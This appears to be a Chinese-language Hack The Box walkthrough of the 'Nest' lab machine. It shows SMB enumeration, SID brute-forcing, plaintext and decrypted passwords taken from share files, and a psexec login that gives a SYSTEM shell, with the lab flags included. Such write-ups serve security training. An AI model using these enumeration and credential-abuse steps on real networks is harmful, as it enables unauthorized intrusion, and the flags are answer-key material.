Nest

Nmap扫描结果显示：

```
┌──(kali㉿kali)-[~/Desktop/HTB/Nest]
└─$ sudo nmap -A 10.10.10.178 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-25 10:57 EDT
Nmap scan report for 10.10.10.178
Host is up (0.32s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
445/tcp open  microsoft-ds?
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%), Microsoft Windows Embedded Standard 7 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

Host script results:
| smb2-security-mode:
|   2.1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2022-07-25T14:58:33
|_  start_date: 2022-07-25T14:56:20

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   323.48 ms 10.10.16.1
2   326.83 ms 10.10.10.178

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.06 seconds

┌──(kali㉿kali)-[~/Desktop/HTB/Nest]
└─$ sudo nmap -p- -A 10.10.10.178 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-25 11:00 EDT
Nmap scan report for 10.10.10.178
Host is up (0.14s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
445/tcp  open  microsoft-ds?
4386/tcp open  unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
|     Reporting Service V1.2
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
|     Reporting Service V1.2
|     Unrecognised command
|   Help:
|     Reporting Service V1.2
|     This service allows users to run queries against databases using the legacy HQK format
|     AVAILABLE COMMANDS ---
|     LIST
|     SETDIR <Directory_Name>
|     RUNQUERY <Query_ID>
|     DEBUG <Password>
|_    HELP <Command>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4386-TCP:V=7.92%I=7%D=7/25%Time=62DEB3C8%P=x86_64-pc-linux-gnu%r(NU
SF:LL,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(GenericLin
SF:es,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognise
SF:d\x20command\r\n>")%r(GetRequest,3A,"\r\nHQK\x20Reporting\x20Service\x2
SF:0V1\.2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(HTTPOptions,3A,"\r\
SF:nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20comma
SF:nd\r\n>")%r(RTSPRequest,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\
SF:n\r\n>\r\nUnrecognised\x20command\r\n>")%r(RPCCheck,21,"\r\nHQK\x20Repo
SF:rting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSVersionBindReqTCP,21,"\r\nHQK
SF:\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSStatusRequestTCP,21,"
SF:\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Help,F2,"\r\nHQK\
SF:x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nThis\x20service\x20allows\
SF:x20users\x20to\x20run\x20queries\x20against\x20databases\x20using\x20th
SF:e\x20legacy\x20HQK\x20format\r\n\r\n---\x20AVAILABLE\x20COMMANDS\x20---
SF:\r\n\r\nLIST\r\nSETDIR\x20<Directory_Name>\r\nRUNQUERY\x20<Query_ID>\r\
SF:nDEBUG\x20<Password>\r\nHELP\x20<Command>\r\n>")%r(SSLSessionReq,21,"\r
SF:\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServerCooki
SF:e,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TLSSessionR
SF:eq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Kerberos,2
SF:1,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(SMBProgNeg,21,
SF:"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(X11Probe,21,"\r\
SF:nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(FourOhFourRequest,3A
SF:,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20
SF:command\r\n>")%r(LPDString,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2
SF:\r\n\r\n>")%r(LDAPSearchReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.
SF:2\r\n\r\n>")%r(LDAPBindReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2
SF:\r\n\r\n>")%r(SIPOptions,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r
SF:\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(LANDesk-RC,21,"\r\nHQK\x20R
SF:eporting\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServer,21,"\r\nHQK\x2
SF:0Reporting\x20Service\x20V1\.2\r\n\r\n>");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows Vista|2008|7|Phone|8.1 (91%)
OS CPE: cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_8.1
Aggressive OS guesses: Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%), Microsoft Windows 8.1 Update 1 (90%), Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows 7 or Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 or Windows 8.1 (90%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (90%), Microsoft Windows 7 (90%), Microsoft Windows 7 Professional or Windows 8 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

Host script results:
| smb2-time:
|   date: 2022-07-25T15:19:18
|_  start_date: 2022-07-25T14:56:20
| smb2-security-mode:
|   2.1:
|_    Message signing enabled but not required

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   392.77 ms 10.10.16.1
2   52.86 ms  10.10.10.178

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1159.38 seconds
```

老规矩，跑一遍流程：

```
┌──(kali㉿kali)-[~/Desktop/HTB/Nest]
└─$ enum4linux 10.10.10.178
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jul 26 10:18:36 2022

 ========================( Target Information )=========================

Target ........... 10.10.10.178
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
```

```
┌──(kali㉿kali)-[~/Desktop/impacket/examples]
└─$ python3 lookupsid.py admins@10.10.10.178
Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation

Password:
[*] Brute forcing SIDs at 10.10.10.178
[*] StringBinding ncacn_np:10.10.10.178[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-3904039239-3573887098-1598508871
500: HTB-NEST\Administrator (SidTypeUser)
501: HTB-NEST\Guest (SidTypeUser)
513: HTB-NEST\None (SidTypeGroup)
1002: HTB-NEST\TempUser (SidTypeUser)
1004: HTB-NEST\C.Smith (SidTypeUser)
1005: HTB-NEST\Service_HQK (SidTypeUser)
```

```
┌──(kali㉿kali)-[~/Desktop/HTB/Nest]
└─$ smbclient -N //10.10.10.178/data
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Aug  7 18:53:46 2019
  ..                                  D        0  Wed Aug  7 18:53:46 2019
  IT                                  D        0  Wed Aug  7 18:58:07 2019
  Production                          D        0  Mon Aug  5 17:53:38 2019
  Reports                             D        0  Mon Aug  5 17:53:44 2019
  Shared                              D        0  Wed Aug  7 15:07:51 2019

                5242623 blocks of size 4096. 1839921 blocks available
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \IT\*
NT_STATUS_ACCESS_DENIED listing \Production\*
NT_STATUS_ACCESS_DENIED listing \Reports\*
getting file \Shared\Maintenance\Maintenance Alerts.txt of size 48 as Shared/Maintenance/Maintenance Alerts.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Shared/Templates/HR/Welcome Email.txt (0.2 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit
```

在data目录下找到了两个有用的txt文档，打开：

```
┌──(kali㉿kali)-[~/…/HTB/Nest/Shared/Maintenance]
└─$ cat 'Maintenance Alerts.txt'
There is currently no scheduled maintenance work

┌──(kali㉿kali)-[~/…/HTB/Nest/Shared/Maintenance]
└─$ cd ..

┌──(kali㉿kali)-[~/Desktop/HTB/Nest/Shared]
└─$ cd Templates

┌──(kali㉿kali)-[~/…/HTB/Nest/Shared/Templates]
└─$ ls -la
total 16
drwxr-xr-x 4 kali kali 4096 Jul 26 11:39 .
drwxr-xr-x 4 kali kali 4096 Jul 26 11:39 ..
drwxr-xr-x 2 kali kali 4096 Jul 26 11:39 HR
drwxr-xr-x 2 kali kali 4096 Jul 26 11:39 Marketing

┌──(kali㉿kali)-[~/…/HTB/Nest/Shared/Templates]
└─$ cd HR

┌──(kali㉿kali)-[~/…/Nest/Shared/Templates/HR]
└─$ ls
'Welcome Email.txt'

┌──(kali㉿kali)-[~/…/Nest/Shared/Templates/HR]
└─$ cat 'Welcome Email.txt'
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019


Thank you
HR
```

拿到了TempUser的账号和密码，然后利用账号密码：

```
┌──(kali㉿kali)-[~/Desktop/HTB/Nest]
└─$ smbmap -H 10.10.10.178 -u TempUser -p welcome2019
[+] IP: 10.10.10.178:445        Name: 10.10.10.178
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS       Remote IPC
        Secure$                                                 READ ONLY
        Users                                                   READ ONLY
```

```
┌──(kali㉿kali)-[~/Desktop/HTB/Nest]
└─$ smbclient //10.10.10.178/Secure$ -U TempUser
Password for [WORKGROUP\TempUser]:
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Finance\*
NT_STATUS_ACCESS_DENIED listing \HR\*
NT_STATUS_ACCESS_DENIED listing \IT\*
smb: \> exit
```

```
┌──(kali㉿kali)-[~/Desktop/HTB/Nest]
└─$ smbclient //10.10.10.178/Data -U TempUser
Password for [WORKGROUP\TempUser]:
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
getting file \Shared\Maintenance\Maintenance Alerts.txt of size 48 as Shared/Maintenance/Maintenance Alerts.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \IT\Configs\Adobe\editing.xml of size 246 as IT/Configs/Adobe/editing.xml (0.3 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \IT\Configs\Adobe\Options.txt of size 0 as IT/Configs/Adobe/Options.txt (0.0 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \IT\Configs\Adobe\projects.xml of size 258 as IT/Configs/Adobe/projects.xml (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \IT\Configs\Adobe\settings.xml of size 1274 as IT/Configs/Adobe/settings.xml (0.7 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \IT\Configs\Atlas\Temp.XML of size 1369 as IT/Configs/Atlas/Temp.XML (0.8 KiloBytes/sec) (average 0.3 KiloBytes/sec)
getting file \IT\Configs\Microsoft\Options.xml of size 4598 as IT/Configs/Microsoft/Options.xml (2.2 KiloBytes/sec) (average 0.7 KiloBytes/sec)
getting file \IT\Configs\NotepadPlusPlus\config.xml of size 6451 as IT/Configs/NotepadPlusPlus/config.xml (5.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)
getting file \IT\Configs\NotepadPlusPlus\shortcuts.xml of size 2108 as IT/Configs/NotepadPlusPlus/shortcuts.xml (1.3 KiloBytes/sec) (average 1.1 KiloBytes/sec)
getting file \IT\Configs\RU Scanner\RU_config.xml of size 270 as IT/Configs/RU Scanner/RU_config.xml (0.2 KiloBytes/sec) (average 1.1 KiloBytes/sec)
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Shared/Templates/HR/Welcome Email.txt (0.3 KiloBytes/sec) (average 1.0 KiloBytes/sec)
smb: \> exit
```

查看下载的文件：

```
┌──(kali㉿kali)-[~/Desktop/HTB/Nest]
└─$ cat ./IT/Configs/NotepadPlusPlus/config.xml
<?xml version="1.0" encoding="Windows-1252" ?>
<NotepadPlus>
    <GUIConfigs>
        <!-- 3 status : "large", "small" or "hide"-->
        <GUIConfig name="ToolBar" visible="yes">standard</GUIConfig>
        <!-- 2 status : "show" or "hide"-->
        <GUIConfig name="StatusBar">show</GUIConfig>
        <!-- For all attributs, 2 status : "yes" or "no"-->
        <GUIConfig name="TabBar" dragAndDrop="yes" drawTopBar="yes" drawInactiveTab="yes" reduce="yes" closeButton="no" doubleClick2Close="no" vertical="no" multiLine="no" hide="no" />
        <!-- 2 positions : "horizontal" or "vertical"-->
        <GUIConfig name="ScintillaViewsSplitter">vertical</GUIConfig>
        <!-- For the attribut of position, 2 status : docked or undocked ; 2 status : "show" or "hide" -->
        <GUIConfig name="UserDefineDlg" position="undocked">hide</GUIConfig>
        <GUIConfig name="TabSetting" size="4" replaceBySpace="no" />
        <!--App position-->
        <GUIConfig name="AppPosition" x="662" y="95" width="955" height="659" isMaximized="yes" />
        <!-- For the primary scintilla view,
             2 status for Attribut lineNumberMargin, bookMarkMargin, indentGuideLine and currentLineHilitingShow: "show" or "hide"
             4 status for Attribut folderMarkStyle : "simple", "arrow", "circle" and "box"  -->
        <GUIConfig name="ScintillaPrimaryView" lineNumberMargin="show" bookMarkMargin="show" folderMarkStyle="box" indentGuideLine="show" currentLineHilitingShow="show" Wrap="yes" edge="no" edgeNbColumn="100" wrapSymbolShow="hide" zoom
="0" whiteSpaceShow="hide" eolShow="hide" lineWrapMethod="aligned" zoom2="0" />
        <!-- For the secodary scintilla view,
             2 status for Attribut lineNumberMargin, bookMarkMargin, indentGuideLine and currentLineHilitingShow: "show" or "hide"
             4 status for Attribut folderMarkStyle : "simple", "arrow", "circle" and "box" -->
        <GUIConfig name="Auto-detection">yes</GUIConfig>
        <GUIConfig name="CheckHistoryFiles">no</GUIConfig>
        <GUIConfig name="TrayIcon">no</GUIConfig>
        <GUIConfig name="RememberLastSession">yes</GUIConfig>
        <!--
                        New Document default settings :
                                format = 0/1/2 → win/unix/mac
                                encoding = 0/1/2/3/4/5 → ANSI/UCS2Big/UCS2small/UTF8/UTF8-BOM
                                defaultLang = 0/1/2/..

                        Note 1 : UTF8-BOM → UTF8 without BOM
                        Note 2 : for defaultLang :
                                        0 → L_TXT
                                        1 → L_PHP
                                        ... (see source file)
                -->
        <GUIConfig name="NewDocDefaultSettings" format="0" encoding="0" lang="0" codepage="-1" openAnsiAsUTF8="no" />
        <GUIConfig name="langsExcluded" gr0="0" gr1="0" gr2="0" gr3="0" gr4="0" gr5="0" gr6="0" gr7="0" langMenuCompact="yes" />
        <!--
                printOption is print colour setting, the following values are possible :
                        0 : WYSIWYG
                        1 : Invert colour
                        2 : B & W
                        3 : WYSIWYG but without background colour
                -->
        <GUIConfig name="Print" lineNumber="no" printOption="0" headerLeft="$(FULL_CURRENT_PATH)" headerMiddle="" headerRight="$(LONG_DATE) $(TIME)" headerFontName="IBMPC" headerFontStyle="1" headerFontSize="8" footerLeft="" footerMidd
le="-$(CURRENT_PRINTING_PAGE)-" footerRight="" footerFontName="" footerFontStyle="0" footerFontSize="9" margeLeft="0" margeTop="0" margeRight="0" margeBottom="0" />
        <!--
                        Backup Setting :
                            0 : non backup
                            1 : simple backup
                            2 : verbose backup
                    -->
        <GUIConfig name="Backup" action="0" useCustumDir="no" dir="" />
        <GUIConfig name="TaskList">yes</GUIConfig>
        <GUIConfig name="SaveOpenFileInSameDir">no</GUIConfig>
        <GUIConfig name="noUpdate" intervalDays="15" nextUpdateDate="20080426">no</GUIConfig>
        <GUIConfig name="MaitainIndent">yes</GUIConfig>
        <GUIConfig name="MRU">yes</GUIConfig>
        <GUIConfig name="URL">0</GUIConfig>
        <GUIConfig name="globalOverride" fg="no" bg="no" font="no" fontSize="no" bold="no" italic="no" underline="no" />
        <GUIConfig name="auto-completion" autoCAction="0" triggerFromNbChar="1" funcParams="no" />
        <GUIConfig name="sessionExt"></GUIConfig>
        <GUIConfig name="SmartHighLight">yes</GUIConfig>
        <GUIConfig name="TagsMatchHighLight" TagAttrHighLight="yes" HighLightNonHtmlZone="no">yes</GUIConfig>
        <GUIConfig name="MenuBar">show</GUIConfig>
        <GUIConfig name="Caret" width="1" blinkRate="250" />
        <GUIConfig name="ScintillaGlobalSettings" enableMultiSelection="no" />
        <GUIConfig name="openSaveDir" value="0" defaultDirPath="" />
        <GUIConfig name="titleBar" short="no" />
        <GUIConfig name="DockingManager" leftWidth="200" rightWidth="200" topHeight="200" bottomHeight="266">
            <FloatingWindow cont="4" x="39" y="109" width="531" height="364" />
            <PluginDlg pluginName="dummy" id="0" curr="2" prev="-1" isVisible="yes" />
            <PluginDlg pluginName="NppConverter.dll" id="3" curr="4" prev="0" isVisible="no" />
            <ActiveTabs cont="0" activeTab="-1" />
            <ActiveTabs cont="1" activeTab="-1" />
            <ActiveTabs cont="2" activeTab="-1" />
            <ActiveTabs cont="3" activeTab="-1" />
        </GUIConfig>
    </GUIConfigs>
    <!-- The History of opened files list -->
    <FindHistory nbMaxFindHistoryPath="10" nbMaxFindHistoryFilter="10" nbMaxFindHistoryFind="10" nbMaxFindHistoryReplace="10" matchWord="no" matchCase="no" wrap="yes" directionDown="yes" fifRecuisive="yes" fifInHiddenFolder="no" dlgAlw
aysVisible="no" fifFilterFollowsDoc="no" fifFolderFollowsDoc="no" searchMode="0" transparencyMode="0" transparency="150">
        <Find name="text" />
        <Find name="txt" />
        <Find name="itx" />
        <Find name="iTe" />
        <Find name="IEND" />
        <Find name="redeem" />
        <Find name="activa" />
        <Find name="activate" />
        <Find name="redeem on" />
        <Find name="192" />
        <Replace name="C_addEvent" />
    </FindHistory>
    <History nbMaxFile="15" inSubMenu="no" customLength="-1">
        <File filename="C:\Windows\System32\drivers\etc\hosts" />
        <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
        <File filename="C:\Users\C.Smith\Desktop\todo.txt" />
    </History>
</NotepadPlus>
```

```
┌──(kali㉿kali)-[~/Desktop/HTB/Nest]
└─$ cat ./IT/Configs/RU\ Scanner/RU_config.xml
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>389</Port>
  <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>
```

找到了C.Smith的密码，解密后得到xRxRxPANCAK3SxRxRx：

smbclient登陆获取user.txt:

```
┌──(kali㉿kali)-[~/Desktop/HTB/Nest]
└─$ smbmap -H 10.10.10.178 -u C.Smith -p xRxRxPANCAK3SxRxRx
[+] IP: 10.10.10.178:445        Name: 10.10.10.178
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS       Remote IPC
        Secure$                                                 READ ONLY
        Users                                                   READ ONLY

┌──(kali㉿kali)-[~/Desktop/HTB/Nest]
└─$ smbclient //10.10.10.178/Users -U C.Smith -p xRxRxPANCAK3SxRxRx
Password for [WORKGROUP\C.Smith]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jan 25 18:04:21 2020
  ..                                  D        0  Sat Jan 25 18:04:21 2020
  Administrator                       D        0  Fri Aug  9 11:08:23 2019
  C.Smith                             D        0  Sun Jan 26 02:21:44 2020
  L.Frost                             D        0  Thu Aug  8 13:03:01 2019
  R.Thompson                          D        0  Thu Aug  8 13:02:50 2019
  TempUser                            D        0  Wed Aug  7 18:55:56 2019

                5242623 blocks of size 4096. 1840276 blocks available
smb: \> cd C.Smith
smb: \C.Smith\> ls
  .                                   D        0  Sun Jan 26 02:21:44 2020
  ..                                  D        0  Sun Jan 26 02:21:44 2020
  HQK Reporting                       D        0  Thu Aug  8 19:06:17 2019
  user.txt                            A       34  Wed Jul 27 11:53:38 2022

                5242623 blocks of size 4096. 1840276 blocks available
smb: \C.Smith\> get user.txt
getting file \C.Smith\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \C.Smith\> exit

┌──(kali㉿kali)-[~/Desktop/HTB/Nest]
└─$ cat user.txt
64b31c553cc83e367295209d1e2196dd
```

然后需要用到VS的一些内容，省略，获取到了administrator的账号密码：

```
┌──(kali㉿kali)-[~/Desktop/HTB/Nest]
└─$ python3 ../../impacket/examples/psexec.py administrator:XtH4nkS4Pl4y1nGX@10.10.10.178
Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.10.10.178.....
[*] Found writable share ADMIN$
[*] Uploading file znSDJViZ.exe
[*] Opening SVCManager on 10.10.10.178.....
[*] Creating service kkEP on 10.10.10.178.....
[*] Starting service kkEP.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> cd ../../users/administrator/desktop

C:\Users\Administrator\Desktop> type root.txt
25384b69981be38658c324f4c4b9d0fb

C:\Users\Administrator\Desktop>
```